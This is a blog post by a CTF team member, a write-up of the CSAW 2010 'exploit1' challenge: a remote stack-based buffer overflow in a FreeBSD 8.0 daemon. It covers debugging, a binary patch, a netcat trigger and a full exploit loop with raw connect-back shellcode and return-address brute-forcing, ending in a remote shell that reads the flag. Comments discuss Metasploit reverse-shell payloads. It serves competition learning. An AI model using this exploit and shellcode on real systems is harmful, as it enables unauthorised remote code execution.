Wednesday, September 29, 2010

CSAW Exploit 1 Write-up - FreeBSD remote stack based buffer overflow

A few weeks ago was held Leet More CTF where Nibbles ended 1st! Didn't have the time to put some write-ups, but you can find some on nibbles blog or by sh4ka, auntitled and hellman.

Last week-end was held the well-known CSAW CTF (quals) by NYU-Poly. Last year and this year winners are none but our awesome friends PPP! We took 2nd place just behind them, see top15 graph.

They gave us interesting exploit challenges and I had the opportunity to look at exploit1: a remote stack based buffer overflow under FreeBSD 8.0.

Analysis

We were given a file, which appeared to be:
ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 8.0 (800107), statically linked, FreeBSD-style, not stripped
Using IDAPro HexRays we quickly recognize a classic network daemon (socket/bind/listen/accept/fork). The function handling user input is called rmsg and uses insecurely strcat with user input: it's a classic remote stack based buffer overflow.

Debugging

Assuming the system running the daemon is indeed FreeBSD 8.0, we run Virtual Machine (thoughtpolice is a good start if you need one) and open the binary in gdb. Note: a good gdbinit is worth it.

From there, you can either instruct gdb to follow the child:
set follow-fork-mode child
catch exec
Or patch the binary to avoid the fork - my favorite - with xor eax,eax then nop in order to have a return value of 0 as if we were in the child process:
<address> <original value> <patched>
00000370: E8 33
00000371: 03 C0
00000372: 05 90
00000373: 00 90
00000374: 00 90
Here is the resulting patched binary.

Trigger

We can trigger the stack overflow from the network using netcat and a large user input:
$ python -c 'import struct; print "A"*360+struct.pack("<I",0xdeadbeef)' | nc 127.0.0.1 8888
You should see in gdb that we achieved to control the saved eip:
0xdeadbeef in ?? ()

Shellcode

Now we want the program to run our code, what code? We could use a bind port shellcode, but it's unlikely to work because we're connecting to CSAW unique IPv4 address, so very likely it's behind a NAT router. So we could use a connect-back if output is not blocked. Hopefully it was not, otherwise we would have used a custom shellcode reusing the current opened connection.

My friend sbz (@sbrabez) - our FreeBSD guy at Nibbles - gave me the following BSDi-x86-connectback shellcode, which worked well.

Return address

Since default FreeBSD 8.0 has executable stack and no ASLR, we'll use a simple exploit payload: nopsled + shellcode + saved eip rewrite, with address somewhere in the nopsled. In this situation I just run gdb with zeroed environment (env -i gdb <file>), run the program and break after the overflow to have the address of the buffer and choose something in the middle of the nopsled: 0xbfbfe510 sounded good.

This address will most likely be wrong on the server, but thanks to the nopsled we can quickly iterate over a few return addresses to eventually find something that works - script hangs and connection appears on the connect-back listener:

First, start the connect-back listener:
$ nc -nlvp 1337
listening on [any] 1337 ...

Then run the exploit:
for i in $(seq 0 100); do
echo $i
python -c 'sc="\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe7\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\xff\xd7\x89\xc6\x68\xaa\xbb\xcc\xdd\x68\xaa\x02\x05\x39\x89\xe5\x6a\x10\x55\x56\xb0\x62\xff\xd7\x53\x56\xb0\x5a\xff\xd7\x4b\x79\xf7\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd7"; from struct import pack; print sc.rjust(360,"\x90")+pack("<I",0xbfbfe510+0x10*'$i')' |nc 128.238.66.100 40001
done

At i=76 I received the connect-back shell:
connect to [1.2.3.4] from (UNKNOWN) [128.238.66.100] 64361
id
uid=1001(chal1) gid=1001(chal1) groups=1001(chal1)
ls
key
cat key
95335ebbdbab9c8eb745fd3ec618d35a

Classic, but still fun to exploit!

10 comments:

  1. nice writeup ;)

    The connect-back shellcode i used didnt work, and i wrote my own to read file.. Spent a lot of time, but got it :)

    ReplyDelete
  2. about the shellcode, we can make it easily by generated it by metasploit . :)

    ReplyDelete
  3. haha hellman, nice :)
    oh indeed cr4zyb0y! metasploit <3 which one did you use?

    Note: I edited the post, it's not strictly a "stack overflow" but a "stack based buffer overflow", my mistake.

    ReplyDelete
  4. hey nice one here too. i first spotted the vuln in something like 30s of analysis (really this was a piece of cake in front of defcon pp300 when milo ipv and I reversed like 80% of the code before founding the heap overflow and reconstructed the user struct and finally start looking for a way to get the flag through it) but due the sucking freebsd 7.3 vm that i had at the time (and the also-sucking-gdb built whitin it) wasn't able to start the exploitation process. thankx dude. tu as vaincu l'ennemi et l'honneur demeura sauf :))

    ReplyDelete
  5. oh StalkR, my metasploit is version 3.4.0-dev . Easy to made a bsd reverse tcp/ip shellcode.

    ReplyDelete
  6. teach :)

    cr4zyboy: sorry I didn't mean the metasploit version, but which payload did you use? payload/bsd/x86/shell_reverse_tcp, payload/bsd/x86/shell/reverse_tcp or the bsdi versions? I think I tried one it didn't work then I used sbz's.

    ReplyDelete
  7. I used http://www.shell-storm.org/shellcode/files/shellcode-676.php
    Now i looked at it, and it uses edi as pointer to store data >_<. And it's not initialized :(
    mov edi, ebp solves the problem...

    ReplyDelete
  8. @StalkR: sorry, I use bsd/x86/shell/reverse_tcp Reverse TCP Stager . What wrong ?

    ReplyDelete
  9. Good! Nothing, just wanted to know :) thanks

    ReplyDelete